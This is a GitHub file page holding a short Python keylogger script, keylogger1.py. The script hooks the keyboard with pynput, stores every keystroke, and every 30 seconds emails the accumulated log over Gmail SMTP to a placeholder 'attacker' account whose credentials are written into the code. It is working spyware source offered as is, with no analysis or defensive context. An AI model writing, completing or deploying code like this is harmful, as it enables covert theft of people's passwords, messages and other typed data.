-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger1.py
More file actions
31 lines (26 loc) · 755 Bytes
/
keylogger1.py
File metadata and controls
31 lines (26 loc) · 755 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import pynput.keyboard
import smtplib
import threading
log = ""
def callback_function(key):
global log
try:
log += str(key.char)
except AttributeError:
log += " " + str(key) + " "
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def report():
global log
send_mail("attacker_email@gmail.com", "password123", log)
log = ""
timer = threading.Timer(30, report) # Send logs every 30 seconds
timer.start()
keyboard_listener = pynput.keyboard.Listener(on_press=callback_function)
with keyboard_listener:
report()
keyboard_listener.join()